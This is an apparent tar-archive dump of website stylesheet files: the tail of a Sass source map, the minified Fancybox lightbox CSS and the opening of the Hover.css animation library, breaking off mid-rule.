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", "sources": [ "style.scss" ], "names": [], "file": "style.css" } jquery.fancybox.min.css 0000644 00000032647 14704434233 0011207 0 ustar 00 @charset "UTF-8";body.fancybox-active{overflow:hidden}body.fancybox-iosfix{position:fixed;left:0;right:0}.fancybox-is-hidden{position:absolute;top:-9999px;left:-9999px;visibility:hidden}.fancybox-container{position:fixed;top:0;left:0;width:100%;height:100%;z-index:99992;-webkit-tap-highlight-color:transparent;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translateZ(0);transform:translateZ(0);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,sans-serif}.fancybox-bg,.fancybox-inner,.fancybox-outer,.fancybox-stage{position:absolute;top:0;right:0;bottom:0;left:0}.fancybox-outer{overflow-y:auto;-webkit-overflow-scrolling:touch}.fancybox-bg{background:#1e1e1e;opacity:0;transition-duration:inherit;transition-property:opacity;transition-timing-function:cubic-bezier(.47,0,.74,.71)}.fancybox-is-open .fancybox-bg{opacity:.87;transition-timing-function:cubic-bezier(.22,.61,.36,1)}.fancybox-caption-wrap,.fancybox-infobar,.fancybox-toolbar{position:absolute;direction:ltr;z-index:99997;opacity:0;visibility:hidden;transition:opacity .25s,visibility 0s linear .25s;box-sizing:border-box}.fancybox-show-caption .fancybox-caption-wrap,.fancybox-show-infobar .fancybox-infobar,.fancybox-show-toolbar .fancybox-toolbar{opacity:1;visibility:visible;transition:opacity .25s,visibility 0s}.fancybox-infobar{top:0;left:0;font-size:13px;padding:0 10px;height:44px;min-width:44px;line-height:44px;color:#ccc;text-align:center;pointer-events:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent;-webkit-font-smoothing:subpixel-antialiased;mix-blend-mode:exclusion}.fancybox-toolbar{top:0;right:0;margin:0;padding:0}.fancybox-stage{overflow:hidden;direction:ltr;z-index:99994;-webkit-transform:translateZ(0)}.fancybox-is-closing .fancybox-stage{overflow:visible}.fancybox-slide{position:absolute;top:0;left:0;width:100%;height:100%;margin:0;padding:0;overflow:auto;outline:none;white-space:normal;box-sizing:border-box;text-align:center;z-index:99994;-webkit-overflow-scrolling:touch;display:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform}.fancybox-slide:before{content:"";display:inline-block;vertical-align:middle;height:100%;width:0}.fancybox-is-sliding .fancybox-slide,.fancybox-slide--current,.fancybox-slide--next,.fancybox-slide--previous{display:block}.fancybox-slide--image{overflow:visible}.fancybox-slide--image:before{display:none}.fancybox-slide--video .fancybox-content,.fancybox-slide--video iframe{background:#000}.fancybox-slide--map .fancybox-content,.fancybox-slide--map iframe{background:#e5e3df}.fancybox-slide--next{z-index:99995}.fancybox-slide>*{display:inline-block;position:relative;padding:24px;margin:44px 0;border-width:0;vertical-align:middle;text-align:left;background-color:#fff;overflow:auto;box-sizing:border-box}.fancybox-slide>base,.fancybox-slide>link,.fancybox-slide>meta,.fancybox-slide>script,.fancybox-slide>style,.fancybox-slide>title{display:none}.fancybox-slide .fancybox-image-wrap{position:absolute;top:0;left:0;margin:0;padding:0;border:0;z-index:99995;background:transparent;cursor:default;overflow:visible;-webkit-transform-origin:top left;transform-origin:top left;background-size:100% 100%;background-repeat:no-repeat;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform}.fancybox-can-zoomOut .fancybox-image-wrap{cursor:zoom-out}.fancybox-can-zoomIn .fancybox-image-wrap{cursor:zoom-in}.fancybox-can-drag .fancybox-image-wrap{cursor:-webkit-grab;cursor:grab}.fancybox-is-dragging .fancybox-image-wrap{cursor:-webkit-grabbing;cursor:grabbing}.fancybox-image,.fancybox-spaceball{position:absolute;top:0;left:0;width:100%;height:100%;margin:0;padding:0;border:0;max-width:none;max-height:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.fancybox-spaceball{z-index:1}.fancybox-slide--iframe .fancybox-content{padding:0;width:80%;height:80%;max-width:calc(100% - 100px);max-height:calc(100% - 88px);overflow:visible;background:#fff}.fancybox-iframe{display:block;padding:0;border:0;height:100%}.fancybox-error,.fancybox-iframe{margin:0;width:100%;background:#fff}.fancybox-error{padding:40px;max-width:380px;cursor:default}.fancybox-error p{margin:0;padding:0;color:#444;font-size:16px;line-height:20px}.fancybox-button{box-sizing:border-box;display:inline-block;vertical-align:top;width:44px;height:44px;margin:0;padding:10px;border:0;border-radius:0;background:rgba(30,30,30,.6);transition:color .3s ease;cursor:pointer;outline:none}.fancybox-button,.fancybox-button:link,.fancybox-button:visited{color:#ccc}.fancybox-button:focus,.fancybox-button:hover{color:#fff}.fancybox-button[disabled]{color:#ccc;cursor:default;opacity:.6}.fancybox-button svg{display:block;position:relative;overflow:visible;shape-rendering:geometricPrecision}.fancybox-button svg path{fill:currentColor;stroke:currentColor;stroke-linejoin:round;stroke-width:3}.fancybox-button--share svg path{stroke-width:1}.fancybox-button--pause svg path:nth-child(1),.fancybox-button--play svg path:nth-child(2){display:none}.fancybox-button--zoom svg path{fill:transparent}.fancybox-navigation{display:none}.fancybox-show-nav .fancybox-navigation{display:block}.fancybox-navigation button{position:absolute;top:50%;margin:-50px 0 0;z-index:99997;background:transparent;width:60px;height:100px;padding:17px}.fancybox-navigation button:before{content:"";position:absolute;top:30px;right:10px;width:40px;height:40px;background:rgba(30,30,30,.6)}.fancybox-navigation .fancybox-button--arrow_left{left:0}.fancybox-navigation .fancybox-button--arrow_right{right:0}.fancybox-close-small{position:absolute;top:0;right:0;width:40px;height:40px;padding:0;margin:0;border:0;border-radius:0;background:transparent;z-index:10;cursor:pointer}.fancybox-close-small:after{content:"×";position:absolute;top:5px;right:5px;width:30px;height:30px;font:22px/30px Arial,Helvetica Neue,Helvetica,sans-serif;color:#888;font-weight:300;text-align:center;border-radius:50%;border-width:0;background-color:transparent;transition:background-color .25s;box-sizing:border-box;z-index:2}.fancybox-close-small:focus{outline:none}.fancybox-close-small:focus:after{outline:1px dotted #888}.fancybox-close-small:hover:after{color:#555;background:#eee}.fancybox-slide--iframe .fancybox-close-small,.fancybox-slide--image .fancybox-close-small{top:0;right:-40px}.fancybox-slide--iframe .fancybox-close-small:after,.fancybox-slide--image .fancybox-close-small:after{font-size:35px;color:#aaa}.fancybox-slide--iframe .fancybox-close-small:hover:after,.fancybox-slide--image .fancybox-close-small:hover:after{color:#fff;background:transparent}.fancybox-is-scaling .fancybox-close-small,.fancybox-is-zoomable.fancybox-can-drag .fancybox-close-small{display:none}.fancybox-caption-wrap{bottom:0;left:0;right:0;padding:60px 2vw 0;background:linear-gradient(180deg,transparent 0,rgba(0,0,0,.1) 20%,rgba(0,0,0,.2) 40%,rgba(0,0,0,.6) 80%,rgba(0,0,0,.8));pointer-events:none}.fancybox-caption{padding:30px 0;border-top:1px solid hsla(0,0%,100%,.4);font-size:14px;color:#fff;line-height:20px;-webkit-text-size-adjust:none}.fancybox-caption a,.fancybox-caption button,.fancybox-caption select{pointer-events:all;position:relative}.fancybox-caption a{color:#fff;text-decoration:underline}.fancybox-slide>.fancybox-loading{border:6px solid hsla(0,0%,39%,.4);border-top:6px solid hsla(0,0%,100%,.6);border-radius:100%;height:50px;width:50px;-webkit-animation:a .8s infinite linear;animation:a .8s infinite linear;background:transparent;position:absolute;top:50%;left:50%;margin-top:-30px;margin-left:-30px;z-index:99999}@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fancybox-animated{transition-timing-function:cubic-bezier(0,0,.25,1)}.fancybox-fx-slide.fancybox-slide--previous{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);opacity:0}.fancybox-fx-slide.fancybox-slide--next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);opacity:0}.fancybox-fx-slide.fancybox-slide--current{-webkit-transform:translateZ(0);transform:translateZ(0);opacity:1}.fancybox-fx-fade.fancybox-slide--next,.fancybox-fx-fade.fancybox-slide--previous{opacity:0;transition-timing-function:cubic-bezier(.19,1,.22,1)}.fancybox-fx-fade.fancybox-slide--current{opacity:1}.fancybox-fx-zoom-in-out.fancybox-slide--previous{-webkit-transform:scale3d(1.5,1.5,1.5);transform:scale3d(1.5,1.5,1.5);opacity:0}.fancybox-fx-zoom-in-out.fancybox-slide--next{-webkit-transform:scale3d(.5,.5,.5);transform:scale3d(.5,.5,.5);opacity:0}.fancybox-fx-zoom-in-out.fancybox-slide--current{-webkit-transform:scaleX(1);transform:scaleX(1);opacity:1}.fancybox-fx-rotate.fancybox-slide--previous{-webkit-transform:rotate(-1turn);transform:rotate(-1turn);opacity:0}.fancybox-fx-rotate.fancybox-slide--next{-webkit-transform:rotate(1turn);transform:rotate(1turn);opacity:0}.fancybox-fx-rotate.fancybox-slide--current{-webkit-transform:rotate(0deg);transform:rotate(0deg);opacity:1}.fancybox-fx-circular.fancybox-slide--previous{-webkit-transform:scale3d(0,0,0) translate3d(-100%,0,0);transform:scale3d(0,0,0) translate3d(-100%,0,0);opacity:0}.fancybox-fx-circular.fancybox-slide--next{-webkit-transform:scale3d(0,0,0) translate3d(100%,0,0);transform:scale3d(0,0,0) translate3d(100%,0,0);opacity:0}.fancybox-fx-circular.fancybox-slide--current{-webkit-transform:scaleX(1) translateZ(0);transform:scaleX(1) translateZ(0);opacity:1}.fancybox-fx-tube.fancybox-slide--previous{-webkit-transform:translate3d(-100%,0,0) scale(.1) skew(-10deg);transform:translate3d(-100%,0,0) scale(.1) skew(-10deg)}.fancybox-fx-tube.fancybox-slide--next{-webkit-transform:translate3d(100%,0,0) scale(.1) skew(10deg);transform:translate3d(100%,0,0) scale(.1) skew(10deg)}.fancybox-fx-tube.fancybox-slide--current{-webkit-transform:translateZ(0) scale(1);transform:translateZ(0) scale(1)}.fancybox-share{padding:30px;border-radius:3px;background:#f4f4f4;max-width:90%;text-align:center}.fancybox-share h1{color:#222;margin:0 0 20px;font-size:35px;font-weight:700}.fancybox-share p{margin:0;padding:0}p.fancybox-share__links{margin-right:-10px}.fancybox-share__button{display:inline-block;text-decoration:none;margin:0 10px 10px 0;padding:0 15px;min-width:130px;border:0;border-radius:3px;background:#fff;white-space:nowrap;font-size:14px;font-weight:700;line-height:40px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;color:#fff;transition:all .2s}.fancybox-share__button:hover{text-decoration:none}.fancybox-share__button--fb{background:#3b5998}.fancybox-share__button--fb:hover{background:#344e86}.fancybox-share__button--pt{background:#bd081d}.fancybox-share__button--pt:hover{background:#aa0719}.fancybox-share__button--tw{background:#1da1f2}.fancybox-share__button--tw:hover{background:#0d95e8}.fancybox-share__button svg{position:relative;top:-1px;width:25px;height:25px;margin-right:7px;vertical-align:middle}.fancybox-share__button svg path{fill:#fff}.fancybox-share__input{box-sizing:border-box;width:100%;margin:10px 0 0;padding:10px 15px;background:transparent;color:#5d5b5b;font-size:14px;outline:none;border:0;border-bottom:2px solid #d7d7d7}.fancybox-thumbs{display:none;position:absolute;top:0;bottom:0;right:0;width:212px;margin:0;padding:2px 2px 4px;background:#fff;-webkit-tap-highlight-color:transparent;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar;box-sizing:border-box;z-index:99995}.fancybox-thumbs-x{overflow-y:hidden;overflow-x:auto}.fancybox-show-thumbs .fancybox-thumbs{display:block}.fancybox-show-thumbs .fancybox-inner{right:212px}.fancybox-thumbs>ul{list-style:none;position:absolute;position:relative;width:100%;height:100%;margin:0;padding:0;overflow-x:hidden;overflow-y:auto;font-size:0;white-space:nowrap}.fancybox-thumbs-x>ul{overflow:hidden}.fancybox-thumbs-y>ul::-webkit-scrollbar{width:7px}.fancybox-thumbs-y>ul::-webkit-scrollbar-track{background:#fff;border-radius:10px;box-shadow:inset 0 0 6px rgba(0,0,0,.3)}.fancybox-thumbs-y>ul::-webkit-scrollbar-thumb{background:#2a2a2a;border-radius:10px}.fancybox-thumbs>ul>li{float:left;overflow:hidden;padding:0;margin:2px;width:100px;height:75px;max-width:calc(50% - 4px);max-height:calc(100% - 8px);position:relative;cursor:pointer;outline:none;-webkit-tap-highlight-color:transparent;-webkit-backface-visibility:hidden;backface-visibility:hidden;box-sizing:border-box}li.fancybox-thumbs-loading{background:rgba(0,0,0,.1)}.fancybox-thumbs>ul>li>img{position:absolute;top:0;left:0;max-width:none;max-height:none;-webkit-touch-callout:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.fancybox-thumbs>ul>li:before{content:"";position:absolute;top:0;right:0;bottom:0;left:0;border:4px solid #4ea7f9;z-index:99991;opacity:0;transition:all .2s cubic-bezier(.25,.46,.45,.94)}.fancybox-thumbs>ul>li.fancybox-thumbs-active:before{opacity:1}@media (max-width:800px){.fancybox-thumbs{width:110px}.fancybox-show-thumbs .fancybox-inner{right:110px}.fancybox-thumbs>ul>li{max-width:calc(100% - 10px)}} hover.css 0000644 00000402771 14704434233 0006420 0 ustar 00 /*! * Hover.css (http://ianlunn.github.io/Hover/) * Version: 2.0.2 * Author: Ian Lunn @IanLunn * Author URL: http://ianlunn.co.uk/ * Github: https://github.com/IanLunn/Hover * Made available under a MIT License: * http://www.opensource.org/licenses/mit-license.php * Hover.css Copyright Ian Lunn 2014. Generated with Sass. */ /* 2D TRANSITIONS */ /* Grow */ .hvr-grow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-grow:hover, .hvr-grow:focus, .hvr-grow:active { -webkit-transform: scale(1.1); transform: scale(1.1); } /* Shrink */ .hvr-shrink { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-shrink:hover, .hvr-shrink:focus, .hvr-shrink:active { -webkit-transform: scale(0.9); transform: scale(0.9); } /* Pulse */ @-webkit-keyframes hvr-pulse { 25% { -webkit-transform: scale(1.1); transform: scale(1.1); } 75% { -webkit-transform: scale(0.9); transform: scale(0.9); } } @keyframes hvr-pulse { 25% { -webkit-transform: scale(1.1); transform: scale(1.1); } 75% { -webkit-transform: scale(0.9); transform: scale(0.9); } } .hvr-pulse { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-pulse:hover, .hvr-pulse:focus, .hvr-pulse:active { -webkit-animation-name: hvr-pulse; animation-name: hvr-pulse; -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } /* Pulse Grow */ @-webkit-keyframes hvr-pulse-grow { to { -webkit-transform: scale(1.1); transform: scale(1.1); } } @keyframes hvr-pulse-grow { to { -webkit-transform: scale(1.1); transform: scale(1.1); } } .hvr-pulse-grow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-pulse-grow:hover, .hvr-pulse-grow:focus, .hvr-pulse-grow:active { -webkit-animation-name: hvr-pulse-grow; animation-name: hvr-pulse-grow; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-direction: alternate; animation-direction: alternate; } /* Pulse Shrink */ @-webkit-keyframes hvr-pulse-shrink { to { -webkit-transform: scale(0.9); transform: scale(0.9); } } @keyframes hvr-pulse-shrink { to { -webkit-transform: scale(0.9); transform: scale(0.9); } } .hvr-pulse-shrink { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-pulse-shrink:hover, .hvr-pulse-shrink:focus, .hvr-pulse-shrink:active { -webkit-animation-name: hvr-pulse-shrink; animation-name: hvr-pulse-shrink; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-direction: alternate; animation-direction: alternate; } /* Push */ @-webkit-keyframes hvr-push { 50% { -webkit-transform: scale(0.8); transform: scale(0.8); } 100% { -webkit-transform: scale(1); transform: scale(1); } } @keyframes hvr-push { 50% { -webkit-transform: scale(0.8); transform: scale(0.8); } 100% { -webkit-transform: scale(1); transform: scale(1); } } .hvr-push { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-push:hover, .hvr-push:focus, .hvr-push:active { -webkit-animation-name: hvr-push; animation-name: hvr-push; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Pop */ @-webkit-keyframes hvr-pop { 50% { -webkit-transform: scale(1.2); transform: scale(1.2); } } @keyframes hvr-pop { 50% { -webkit-transform: scale(1.2); transform: scale(1.2); } } .hvr-pop { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-pop:hover, .hvr-pop:focus, .hvr-pop:active { -webkit-animation-name: hvr-pop; animation-name: hvr-pop; -webkit-animation-duration: 0.3s; animation-duration: 0.3s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* Bounce In */ .hvr-bounce-in { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } .hvr-bounce-in:hover, .hvr-bounce-in:focus, .hvr-bounce-in:active { -webkit-transform: scale(1.2); transform: scale(1.2); -webkit-transition-timing-function: cubic-bezier(0.47, 2.02, 0.31, -0.36); transition-timing-function: cubic-bezier(0.47, 2.02, 0.31, -0.36); } /* Bounce Out */ .hvr-bounce-out { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } .hvr-bounce-out:hover, .hvr-bounce-out:focus, .hvr-bounce-out:active { -webkit-transform: scale(0.8); transform: scale(0.8); -webkit-transition-timing-function: cubic-bezier(0.47, 2.02, 0.31, -0.36); transition-timing-function: cubic-bezier(0.47, 2.02, 0.31, -0.36); } /* Rotate */ .hvr-rotate { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-rotate:hover, .hvr-rotate:focus, .hvr-rotate:active { -webkit-transform: rotate(4deg); transform: rotate(4deg); } /* Grow Rotate */ .hvr-grow-rotate { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-grow-rotate:hover, .hvr-grow-rotate:focus, .hvr-grow-rotate:active { -webkit-transform: scale(1.1) rotate(4deg); transform: scale(1.1) rotate(4deg); } /* Float */ .hvr-float { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-float:hover, .hvr-float:focus, .hvr-float:active { -webkit-transform: translateY(-8px); transform: translateY(-8px); } /* Sink */ .hvr-sink { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-sink:hover, .hvr-sink:focus, .hvr-sink:active { -webkit-transform: translateY(8px); transform: translateY(8px); } /* Bob */ @-webkit-keyframes hvr-bob { 0% { -webkit-transform: translateY(-8px); transform: translateY(-8px); } 50% { -webkit-transform: translateY(-4px); transform: translateY(-4px); } 100% { -webkit-transform: translateY(-8px); transform: translateY(-8px); } } @keyframes hvr-bob { 0% { -webkit-transform: translateY(-8px); transform: translateY(-8px); } 50% { -webkit-transform: translateY(-4px); transform: translateY(-4px); } 100% { -webkit-transform: translateY(-8px); transform: translateY(-8px); } } @-webkit-keyframes hvr-bob-float { 100% { -webkit-transform: translateY(-8px); transform: translateY(-8px); } } @keyframes hvr-bob-float { 100% { -webkit-transform: translateY(-8px); transform: translateY(-8px); } } .hvr-bob { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; } .hvr-bob:hover, .hvr-bob:focus, .hvr-bob:active { -webkit-animation-name: hvr-bob-float, hvr-bob; animation-name: hvr-bob-float, hvr-bob; -webkit-animation-duration: .3s, 1.5s; animation-duration: .3s, 1.5s; -webkit-animation-delay: 0s, .3s; animation-delay: 0s, .3s; -webkit-animation-timing-function: ease-out, ease-in-out; animation-timing-function: ease-out, ease-in-out; -webkit-animation-iteration-count: 1, infinite; animation-iteration-count: 1, infinite; -webkit-animation-fill-mode: forwards; animation-fill-mode: forwards; -webkit-animation-direction: normal, alternate; animation-direction: normal, alternate; } /* Hang */ @-webkit-keyframes hvr-hang { 0% { -webkit-transform: translateY(8px); transform: translateY(8px); } 50% { -webkit-transform: translateY(4px); transform: translateY(4px); } 100% { -webkit-transform: translateY(8px); transform: translateY(8px); } } @keyframes hvr-hang { 0% { -webkit-transform: 